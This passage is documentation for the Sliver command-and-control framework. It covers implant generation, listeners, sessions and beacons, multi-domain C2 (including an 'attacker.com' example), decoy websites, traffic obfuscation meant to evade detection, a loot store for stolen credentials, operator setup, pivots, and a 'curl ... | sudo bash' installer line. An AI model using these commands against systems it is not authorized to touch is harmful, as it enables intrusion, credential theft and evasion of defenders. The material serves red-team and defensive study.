RACIAL_SPECTACLES darwin/amd64 false EXECUTABLE
|
||||
MATHEMATICAL_SASH darwin/amd64 true SHARED_LIB
|
||||
MUSHY_TRADITIONALISM windows/amd64 false SHARED_LIB
|
||||
SICK_SPY darwin/amd64 false EXECUTABLE
|
||||
```
|
||||
|
||||
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
|
||||
|
||||
```
|
||||
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
|
||||
|
||||
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
|
||||
```
|
||||
|
||||
#### Additional Details
|
||||
|
||||
For addition details about each C2 please see:
|
||||
|
||||
- [HTTP(S) C2](/docs?name=HTTPS+C2)
|
||||
- [DNS C2](/docs?name=DNS+C2)
|
||||
|
||||
## Getting Shells
|
||||
|
||||
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
|
||||
|
||||
```
|
||||
sliver > mtls
|
||||
|
||||
[*] Starting mTLS listener ...
|
||||
[*] Successfully started job #1
|
||||
|
||||
sliver > jobs
|
||||
|
||||
ID Name Protocol Port
|
||||
== ==== ======== ====
|
||||
1 mTLS tcp 8888
|
||||
```
|
||||
|
||||
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
|
||||
|
||||
### Interacting with Sessions
|
||||
|
||||
The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
|
||||
|
||||
```
|
||||
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
|
||||
|
||||
sliver > use 8ff2ce4c
|
||||
|
||||
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
|
||||
|
||||
sliver (LONG_DRAMATURGE) > ls
|
||||
|
||||
/Users/moloch/Desktop
|
||||
=====================
|
||||
.DS_Store 6.0 KiB
|
||||
.localized 0 B
|
||||
LONG_DRAMATURGE 6.3 MiB
|
||||
```
|
||||
|
||||
If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
|
||||
|
||||
### Interacting with Beacons
|
||||
|
||||
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
|
||||
|
||||
```
|
||||
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
|
||||
|
||||
[server] sliver > beacons
|
||||
|
||||
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
|
||||
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
|
||||
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
|
||||
|
||||
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
|
||||
|
||||
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
|
||||
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) >
|
||||
```
|
||||
|
||||
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
|
||||
|
||||
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
|
||||
|
||||
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
|
||||
|
||||
C:\git
|
||||
======
|
||||
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
|
||||
...
|
||||
```
|
||||
|
||||
Tasks will execute in the order they were created (FIFO).
|
||||
|
||||
**⚠️ IMPORTANT:** Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
|
||||
|
||||
You can view previous tasks executed by the active beacon using the `tasks` command:
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
|
||||
|
||||
ID State Message Type Created Sent Completed
|
||||
========== =========== ============== =============================== =============================== ===============================
|
||||
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
|
||||
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
|
||||
```
|
||||
|
||||
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Operators in multiplayer mode can fetch output from tasks issued by any other operator on the server. However, operators will only see the automatic results from tasks that they themselves executed. You can disable the automatic display of task results using the `settings` command.
|
||||
|
||||
#### Switching from Beacon Mode to Session Mode
|
||||
|
||||
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
|
||||
|
||||
```
|
||||
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
|
||||
|
||||
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
|
||||
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
|
||||
|
||||
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
|
||||
```
|
||||
|
||||
**⚠️ IMPORTANT:** You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
|
||||
|
||||
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
|
||||
|
||||
## Multiple Domains/Protocols
|
||||
|
||||
You can specify multiple domains and protocols during the generation process.
|
||||
|
||||
By default Sliver will attempt to use the `s` sequential connection strategy: the most performant protocols are used first (MTLS -> WG -> HTTP(S) -> DNS) falling back to subsequent domains/protocols if/when connections fail.
|
||||
|
||||
```
|
||||
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
|
||||
```
|
||||
|
||||
You can modify the connection strategy at compile-time using the `--strategy` flag. For example, you can instruct the implant to `r` randomly connect to any specified C2 endpoint:
|
||||
|
||||
```
|
||||
sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
|
||||
```
|
||||
|
||||
## What Next?
|
||||
|
||||
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
|
||||
|
||||
- [Armory](/docs?name=Armory)
|
||||
- [Stagers](/docs?name=Stagers)
|
||||
- [Community Guides](/docs?name=Community%20Guides)
|
||||
- [Port Forwarding](/docs?name=Port%20Forwarding)
|
||||
- [Reverse SOCKS](/docs?name=Reverse%20SOCKS)
|
||||
- [BOF/COFF Support](/docs?name=BOF%20and%20COFF%20Support)
|
||||
@@ -0,0 +1,227 @@
|
||||
Sliver supports proxy-aware C2 over both HTTP and HTTPS, however since Sliver does not rely upon the SSL/TLS layer for security these protocols are considered somewhat synonymous. There are separate commands for the listeners but an implant generated with `--http` may attempt to connect over both HTTP and HTTPS (see "under the hood" for more details).
|
||||
|
||||
## Generate the Implant
|
||||
|
||||
Sliver implants are compiled with a baked-in (but obfuscated of course) server domain that they will reach back out to. To generate a sliver implant that communicates to a server at `example.com` run the following:
|
||||
|
||||
#### Basic Example
|
||||
|
||||
```
|
||||
sliver > generate --http example.com --os mac
|
||||
|
||||
[*] Generating new darwin/amd64 implant binary
|
||||
[*] Build completed in 00:00:05
|
||||
[*] Implant saved to /Users/moloch/Desktop/WORKING_HACIENDA
|
||||
```
|
||||
|
||||
#### Multiple Domains
|
||||
|
||||
You can also specify multiple domains, in the event the implant cannot connect to the first it will subsequently attempt to connect to each domain you specified in order. Subsequent attempts are made based on the `--reconnect` argument (default 60 seconds). If no attempts are successful, the implant will loop across all of the domains until `--max-errors` (default 1000) is reached, at which point the implant will terminate execution:
|
||||
|
||||
```
|
||||
sliver > generate --http example.com,attacker.com
|
||||
|
||||
[*] Generating new windows/amd64 implant binary
|
||||
[*] Build completed in 00:00:05
|
||||
[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANE
|
||||
```
|
||||
|
||||
#### URL Prefixes and Other Options
|
||||
|
||||
Some additional options may be passed to the `--http` C2 flag such as URL path prefixes. Sliver's C2 request URLs are randomly generated as described below, however the operator may specify a path to prepend to every request's path, this can be useful when leveraging HTTP re-directors, etc. To add a URL prefix simply add a path to the domain as shown below:
|
||||
|
||||
```
|
||||
sliver > generate --http example.com/foo/bar
|
||||
|
||||
[*] Generating new windows/amd64 implant binary
|
||||
[*] Build completed in 00:00:05
|
||||
[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANE
|
||||
```
|
||||
|
||||
This implant will now prepend `/foo/bar` to all generated URLs for `example.com`. You may specify different path prefixes for different domains if you so choose.
|
||||
|
||||
#### Proxies
|
||||
|
||||
The implant attempts to auto-detect proxy settings using a modified version of the [go-get-proxied](https://github.com/rapid7/go-get-proxied) library. It supports detection of system proxy settings on Windows, MacOS, and Linux. In the event the implant cannot make a successful HTTP/HTTPS connection for a given domain using the system proxy settings, it will also attempt to make a connection to the same domain ignoring the proxy settings. The order of connection attempts is as follows:
|
||||
|
||||
1. HTTPS over system proxy
|
||||
1. HTTP over system proxy
|
||||
1. HTTPS direct connect
|
||||
1. HTTP direct connect
|
||||
|
||||
#### Proxy Configuration
|
||||
|
||||
The priority of retrieval is the following:
|
||||
|
||||
- **Windows**
|
||||
- Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
|
||||
- Internet Options: Automatically detect settings (`WPAD`)
|
||||
- Internet Options: Use automatic configuration script (`PAC`)
|
||||
- Internet Options: Manual proxy server
|
||||
- WINHTTP: (`netsh winhttp`)
|
||||
- **Linux**
|
||||
- Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
|
||||
- **MacOS**
|
||||
- Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
|
||||
- Network Settings: `scutil`
|
||||
|
||||
#### NTLM/Kerberos Proxy Authentication
|
||||
|
||||
You can use [advanced options](/docs?name=C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
|
||||
|
||||
## Start the Listener
|
||||
|
||||
To start an HTTP listener use the `http` command, with no parameters this will start a listener on port 80 and respond to any domain (i.e., HTTP `Host:`) that comes in:
|
||||
|
||||
```
|
||||
sliver > http
|
||||
```
|
||||
|
||||
You can optionally restrict the listener to only respond to a specific domain using the `--domain` flag, currently each listener can only accept a single domain (but you can start any number of listeners you want):
|
||||
|
||||
```
|
||||
sliver > http --domain example.com
|
||||
```
|
||||
|
||||
## Static Content
|
||||
|
||||
Sliver can stand up a website on your HTTP(S) listener in order to make the server look more legitimate. For example, you could put a default IIS index page here and mimic a normal-looking server in case someone comes by snooping. You can manage static content using the `websites` command (see `websites --help`):
|
||||
|
||||
```
|
||||
websites --website fake-blog --web-path / --content ./index.html add
|
||||
```
|
||||
|
||||
Each "website" is identified by a name (`fake-blog` in the example above) and is essentially just key<->value pairs request paths (e.g. `/foo/bar.html`) and response's content. Currently we don't support any regex matching for paths, it has to be an exact match, so keep that in mind if you're linking to content.
|
||||
|
||||
**Note:** C2 related messages are identified, intercepted, and responded to prior to checking for user-provided `website` content, so you can actually map content to any URL used for C2.
|
||||
|
||||
To use your website with an HTTP(S) listener, specify it using `--website` when you start the listener:
|
||||
|
||||
```
|
||||
sliver > http --website fake-blog --domain example.com
|
||||
```
|
||||
|
||||
## SSL/TLS Certificates
|
||||
|
||||
By default when using the `https` listener Sliver will simply generate a random self-signed certificate. However, other options do exist. The `https` listener also supports automatic TLS certificates via Let's Encrypt, which can be enabled using the `--lets-encrypt` flag.
|
||||
|
||||
```
|
||||
sliver > https --domain example.com --lets-encrypt
|
||||
```
|
||||
|
||||
This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](/docs?name=Troubleshooting).
|
||||
|
||||
You can also upload your own SSL/TLS certificate/key pairs:
|
||||
|
||||
```
|
||||
sliver > https --domain example.com --cert ./cert.pem --key ./key.pem --website fake-blog
|
||||
```
|
||||
|
||||
## Modifying C2 Traffic
|
||||
|
||||
Starting in v1.5 you can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. The configuration file options are described below:
|
||||
|
||||
⚠️ **WARNING:** Making changes to this file may break compatibility with existing implants, therefore you should make your changes to this configuration _prior to generating any implants_.
|
||||
|
||||
### `implant_config`
|
||||
|
||||
| Field Name | Description |
|
||||
| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `user_agent` | The implant's user agent, a blank string will randomly generate a platform appropriate user-agent and version (default: blank) |
|
||||
| `chrome_base_version` | The Chrome version to put into the user agent head, plus a random value up to 3 (default: `100`) |
|
||||
| `url_parameters` | A list of objects that contain a `name`, `value`, and a `probability` that should be included as URL query parameters in addition to the ones used by encoders (default: `null`). Probability may be 1-100, any other value will be treated as 100. URL parameter names must be 3 or more characters. |
|
||||
| `headers` | A list of objects that contain a `name`, `value` and a `probability ` to add as request headers (default: `null`) |
|
||||
| `max_files` | Max number of random file names to use (default: `8`) |
|
||||
| `min_files` | Min number of random file names to use (default: `2`) |
|
||||
| `max_paths` | Max number of path segments to generate per-URL in addition to any prefixes (default: `8`) |
|
||||
| `min_paths` | Min number of path segments to generate per-URL in addition to any prefixes (default: `2`) |
|
||||
| `stager_file_ext` | The file extension to associate with stagers (default: `.woff`) |
|
||||
| `stager_files` | A list of strings that should be used as "file name" segments in the URL, appended with `stager_file_ext` |
|
||||
| `stager_paths` | A list of strings that should be used as path segments in the generated URL |
|
||||
| `poll_file_ext` | The file extension to associate with poll requests (default: `.js`) |
|
||||
| `poll_files` | A list of strings that should be used as "file name" segments in the URL, appended with `poll_file_ext` |
|
||||
| `poll_paths` | A list of strings that should be used as path segments in the generated URL |
|
||||
| `start_session_file_ext` | The file extension to associate with key exchange messages (default: `.html`) |
|
||||
| `session_file_ext` | The file extension to associate with session messages (default: `.php`) |
|
||||
| `session_files` | A list of strings that should be used as "file name" segments in the URL, appended with `session_file_ext` and `start_session_file_ext` |
|
||||
| `session_paths` | A list of strings that should be used as path segments in the generated URLs |
|
||||
| `close_file_ext` | The file extension to associate with close session messages (default: `.png`) |
|
||||
| `close_files` | A list of strings that should be used as "file name" segments in the URL, appended with `close_file_ext` |
|
||||
| `close_paths` | A list of strings that should be used as path segments in generated URLs |
|
||||
|
||||
### `server_config`
|
||||
|
||||
| Field Name | Description |
|
||||
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `random_version_headers` | Boolean value, if enabled the server will return random Apache/Nginx and PHP version numbers (default: `false`) |
|
||||
| `headers` | A list of objects containing a `name`, `value`, and a `probability` that should be included as response headers. Probability may be 1-100, any other value will be treated as 100. |
|
||||
| `cookies` | A list of strings to use as cookie names |
|
||||
|
||||
# Under the Hood
|
||||
|
||||
This section covers the "under the hood" implementation details of Sliver's HTTP C2, and may be useful for users want to understand, extend, or are simply curious about Sliver's design.
|
||||
|
||||
### Design Goals
|
||||
|
||||
The primary goals of the existing HTTP C2 design are to:
|
||||
|
||||
- **Reliable Connections** The implants foremost goal is to get a connection out of the network, regardless of the environment's configuration.
|
||||
- **Data Security** I won't cover this here, but [click here](/docs?name=Transport+Encryption) for details.
|
||||
- **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below.
|
||||
|
||||
### Procedural HTTP C2
|
||||
|
||||
Sliver [procedurally generates](https://en.wikipedia.org/wiki/Procedural_generation) each HTTP request with the C2 data in it based on the configuration file described above. Each request will have randomized URLs and query arguments, and different types of messages also use different file extensions/paths.
|
||||
|
||||
Each implant is also only embedded with a randomly generated subset of the server's C2 profile, so two or more implants generated from the same server may not generate similar URLs depending on how you tweak the configuration.
|
||||
|
||||
#### Implant-side
|
||||
|
||||
The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now):
|
||||
|
||||
1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server.
|
||||
|
||||
In the default configuration:
|
||||
|
||||
- `.woff` = Stagers
|
||||
- `.js` = Long poll messages
|
||||
- `.html` = Key exchange messages
|
||||
- `.php` = Session messages
|
||||
- `.png` = Close session messages
|
||||
|
||||
2. Randomly select an encoder from `sliver/encoders`, an encoder defines how the message we're trying to send to the server gets encoded. Note that we're always encoding the ciphertext of a message, these encoders are purely for obfuscation _not security_. The currently supported encoders are:
|
||||
|
||||
- **Base64** Base64 with a custom alphabet so that it's not interoperable with standard Base64
|
||||
- **Hex** Standard hexadecimal encoding with ASCII characters
|
||||
- **Gzip** Standard gzip
|
||||
- **English** Encodes arbitrary data as English ASCII text
|
||||
- **PNG** Encodes arbitrary data into valid PNG image files
|
||||
- **Gzip+English** A combination of the Gzip and English encoders
|
||||
- **Base64+Gzip** A combination of the Base64 and Gzip encoders
|
||||
|
||||
Each of these encoders has a unique "Encoder ID," which is currently hardcoded but we'll probably randomly generate these per-server in the future.
|
||||
|
||||
3. Generate a `nonce`, the nonce is equal to a random number times the `EncoderModulus` plus the encoder ID; the `EncoderModulus` is currently a hardcoded constant value, but we may generate this per-server in the future. The server does the opposite (nonce modulo `EncoderModulus`) to determine the original Encoder ID. In code this looks like:
|
||||
|
||||
```
|
||||
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
|
||||
encoderId := nonce % EncoderModulus
|
||||
```
|
||||
|
||||
The nonce is included in the request as the query parameter `_`, the idea is that this a standard pattern for "cache busting" and at a glance looks legitimate as the nonces look (are) random. The server also ignores any request that does not contain a valid nonce, just in case any pesky blue teamers come sniffing around the web server. An invalid nonce is define as any value that does not map to an Encoder ID or zero. A "NOP" nonce is also supported, which is an encoder ID of zero (i.e. the modulo of the nonce equals zero).
|
||||
|
||||
4. Send the request to the server, this could be any valid transport such as HTTP, HTTPS, or over a proxy -the same request format is always used for any HTTP-like protocol.
|
||||
|
||||
#### Server-side
|
||||
|
||||
5. When the server receives the request it will route the request to a given handler based on the requested path's extension as detailed above (in this case we're talking about paths that end in `.php`).
|
||||
|
||||
6. Check that the request contains a valid nonce, if the request does not contain a valid nonce it is ignored from a C2 standpoint but the server may still respond with `website` content.
|
||||
|
||||
7. Determine the encoder based on the nonce, decode and decrypt the request.
|
||||
|
||||
8. Execute any server-side processing.
|
||||
|
||||
9. Should the request merit a response, encode the encrypted response using the same encoder as the request. By using the same encoder as the request we ensure the implant supports a given encoder (in case of a version mismatch between implant and server) and allows the implant to limit the encoders used if it so chooses.
|
||||
|
||||
10. Send the response back to the implant.
|
||||
@@ -0,0 +1,40 @@
|
||||
This script will install the latest version of Sliver as a systemd service, installs Windows cross-compiler dependencies (mingw), and setup multiplayer for the all local users. After running the script connect locally by running `sliver`.
|
||||
|
||||
https://sliver.sh/install
|
||||
|
||||
This script should work on Kali, Ubuntu, and RHEL (CentOS, etc) distributions of Linux.
|
||||
|
||||
**⚠️ OPSEC:** By default the Linux install script will bind the multiplayer listener to `:31337` i.e. all interfaces. Ensure your firewalls are properly configured if this is a concern, or reconfigure the server to bind to localhost if you only wish to allow local users. Multiplayer Mode is authenticated using mTLS/gRPC and per-operator bearer tokens, so this doesn't present a security problem (notwithstanding bugs in our implementation), but publicly exposing your multiplayer listener will make it trivial to identify what the server is running.
|
||||
|
||||
### One Liner
|
||||
|
||||
```
|
||||
curl https://sliver.sh/install|sudo bash
|
||||
```
|
||||
|
||||
- Installs server binary to `/root/sliver-server`
|
||||
- Installs mingw
|
||||
- Runs the server in daemon mode using systemd
|
||||
- Installs client to `/usr/local/bin/sliver`
|
||||
- Generates multiplayer configurations for all users with a `/home` directory
|
||||
|
||||
### Systemd Service
|
||||
|
||||
The following systemd configuration is used:
|
||||
|
||||
```ini
|
||||
[Unit]
|
||||
Description=Sliver
|
||||
After=network.target
|
||||
StartLimitIntervalSec=0
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
Restart=on-failure
|
||||
RestartSec=3
|
||||
User=root
|
||||
ExecStart=/root/sliver-server daemon
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
```
|
||||
@@ -0,0 +1,17 @@
|
||||
The `loot` command is a server-side store of looted files and credentials. Since this is implemented server-side, all files and credentials in the loot store are shared amongst all operators in multiplayer mode. See `loot --help` for a complete list of sub-commands.
|
||||
|
||||
### Adding Loot
|
||||
|
||||
You can add loot to the loot store several different ways:
|
||||
|
||||
- The `loot remote` command can be used to pull a file directly from a remote system to the loot store (requires an active session).
|
||||
- The `loot local` command can be used to add files from the operator's local machine to the loot store.
|
||||
- Several commands (e.g. `sideload`, and `execute-assembly`) have the `--loot` flag, which can be used to save the output of the command to the loot store.
|
||||
|
||||
### Fetching Loot
|
||||
|
||||
To fetch (i.e., look at) a piece of loot use the `loot fetch` command, it will present an interactive menu for you to select from. Textual loot will be displayed directly, file loot can be saved to a local file.
|
||||
|
||||
### Remove Loot
|
||||
|
||||
The `loot rm` command is used to remove loot from the server.
|
||||
@@ -0,0 +1,82 @@
|
||||
Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
|
||||
|
||||
```
|
||||
┌──────────────────┐ C2
|
||||
│ │ Protocol ┌─────────┐
|
||||
│ Sliver C2 Server ├─────────────►│ Implant │
|
||||
│ │ └─────────┘
|
||||
└──────────────────┘
|
||||
▲
|
||||
│
|
||||
gRPC/mTLS │
|
||||
┌────────────┬────────┴─────┬───────────┐
|
||||
│ │ │ │
|
||||
┌─────┴──┐ │ │ ┌──┴─────┐
|
||||
│Windows │ ┌────┴───┐ ┌────┴───┐ │Windows │
|
||||
│Operator│ │Linux │ │MacOS │ │Operator│
|
||||
└────────┘ │Operator│ │Operator│ └────────┘
|
||||
└────────┘ └────────┘
|
||||
```
|
||||
|
||||
## New Operators
|
||||
|
||||
Operators will need to download their preferred platform's client software from the releases page. Clients can connect to servers of differing platforms (e.g. a Windows client can connect to a Linux server). Operators and servers authenticate using Mutual TLS, however all the certificates are managed automatically for you.
|
||||
|
||||
- If you did not install the server as a systemd service, be sure to leave the server console running in screen or [tmux](https://github.com/tmux/tmux) after starting the multiplayer listener.
|
||||
- If you did install the server as systemd service see the CLI section below for an alternative to the console commands for generating operator configs.
|
||||
|
||||
Operators need a configuration file generated by the Sliver server to connect in multiplayer mode. The Sliver client can support multiple configuration files, but you can only be connected to one server at a time (per process).
|
||||
|
||||
From the server use the `new-operator` command to generate a new operator configuration file. You'll need to specify the operator's `--name` and the `--lhost` of the server (e.g., its public IP). Then from the server start a multiplayer listener using the `multiplayer` command to allow operators to connect:
|
||||
|
||||
**Note:** The `new-operator` and `multiplayer` commands are only accessible from the server's console
|
||||
|
||||
```
|
||||
[server] sliver > new-operator --name moloch --lhost 1.2.3.4
|
||||
|
||||
[*] Generating new client certificate, please wait ...
|
||||
[*] Saved new client config to: /Users/moloch/Desktop/moloch_example.com.cfg
|
||||
|
||||
[server] sliver > multiplayer
|
||||
|
||||
[*] Multiplayer mode enabled!
|
||||
|
||||
```
|
||||
|
||||
**IMPORTANT:** Before clients can connect to a server you must start an RPC listener with the `multiplayer` command. The default port is TCP/31337.
|
||||
|
||||
You can now give this configuration file `moloch_example.com.cfg` to the operator and they can connect to the server using the `sliver-client` binary. The sliver client will look for configuration files in `~/.sliver-client/configs/` or you can import configs using the `import` cli. The configs directory can contain multiple configs for different servers.
|
||||
|
||||
```
|
||||
$ ./sliver-client import ./moloch_example.com.cfg
|
||||
|
||||
$ ./sliver-client
|
||||
? Select a server: [Use arrows to move, type to filter]
|
||||
> example.com
|
||||
localhost
|
||||
```
|
||||
|
||||
### Server CLI / Daemon Mode Multiplayer
|
||||
|
||||
If the server is running in daemon mode (as is the default with the Linux install script), that means the multiplayer listener is started for you without an interactive console. You can use the server binaries' CLI to generate operator configuration files to connect:
|
||||
|
||||
```
|
||||
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --save zer0cool.cfg
|
||||
```
|
||||
|
||||
The installation scripts by default will place the `sliver-server` binary in `/root`.
|
||||
|
||||
### Tailscale Integration
|
||||
|
||||
⚠️ This section describes an unreleased feature from an upcoming version ⚠️
|
||||
|
||||
Starting in v1.6 Sliver supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when wanting to maintain operational security.
|
||||
|
||||
```
|
||||
$ export TS_AUTHKEY=<tailscale authkey>
|
||||
$ ./sliver-server
|
||||
|
||||
sliver > multiplayer -T
|
||||
```
|
||||
|
||||
You should now see a new Tailscale host named `sliver-server-<machine>`, you can set this using the `--lhost` flag. Use this as the hostname when connecting to the Sliver server from any other host on the Tailscale network.
|
||||
@@ -0,0 +1,58 @@
|
||||
⚠️ **IMPORTANT:** Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding `portfwd`, which is used for tunneling generic tcp connections into a target environment.
|
||||
|
||||
⚠️ **IMPORTANT:** Pivots can only be used in "session mode" (we may add beacon support later)
|
||||
|
||||
Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Sliver v1.5 and later pivots can be arbitrarily nested, for example a pivot A can connect thru pivot B to a third egress implant.
|
||||
|
||||
In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints.
|
||||
|
||||
Pivots perform an [authenticated peer-to-peer cryptographic key exchange](/docs?name=Transport+Encryption) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled.
|
||||
|
||||
## TCP Pivots
|
||||
|
||||
TCP pivots are implemented in pure Go and are supported on all platforms.
|
||||
|
||||
```
|
||||
[server] sliver (PRIOR_MANTEL) > pivots tcp
|
||||
|
||||
[*] Started tcp pivot listener :9898 with id 1
|
||||
|
||||
[server] sliver (PRIOR_MANTEL) > pivots
|
||||
|
||||
ID Protocol Bind Address Number Of Pivots
|
||||
==== ========== ============== ==================
|
||||
1 TCP :9898 0
|
||||
```
|
||||
|
||||
We can now use `generate --tcp-pivot 192.168.1.1:9898` to generate an implant that will connect to the pivot listener, where `192.168.1.1` is the local IP of the server on which we started the listener.
|
||||
|
||||
## Named Pipe Pivots (SMB)
|
||||
|
||||
Named pipe pivots are only supported on Windows. Select a session to start a named pipe listener, and then use the `--bind` flag to specify a pipe name. Pipes are automatically started on the local machine so you only need to specify a name, remote clients are always allowed to connect to the pipe, but the default ACL will only allow the current user/group. You can allow all user/groups by using the `--allow-all` flag:
|
||||
|
||||
```
|
||||
[*] Session a2615359 WARM_DRIVEWAY - 192.168.1.178:59290 (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:09:20 CST
|
||||
|
||||
[server] sliver > use a2615359-b0a4-4463-820b-f4dbe6fb2c30
|
||||
|
||||
[*] Active session WARM_DRIVEWAY (a2615359-b0a4-4463-820b-f4dbe6fb2c30)
|
||||
|
||||
[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
|
||||
|
||||
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
|
||||
```
|
||||
|
||||
Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/pipe/foobar` note here we may need to specify the IP address of the listener: `192.168.1.1`. The syntax is `<host>/pipe/<pipe name>`, note that `.` is equivalent to `127.0.0.1`. This is just the standard syntax for Windows named pipes.
|
||||
|
||||
```
|
||||
[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290->WARM_DRIVEWAY-> (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST
|
||||
|
||||
[server] sliver (WARM_DRIVEWAY) > sessions
|
||||
|
||||
ID Name Transport Remote Address Hostname Username Operating System Last Check-In Health
|
||||
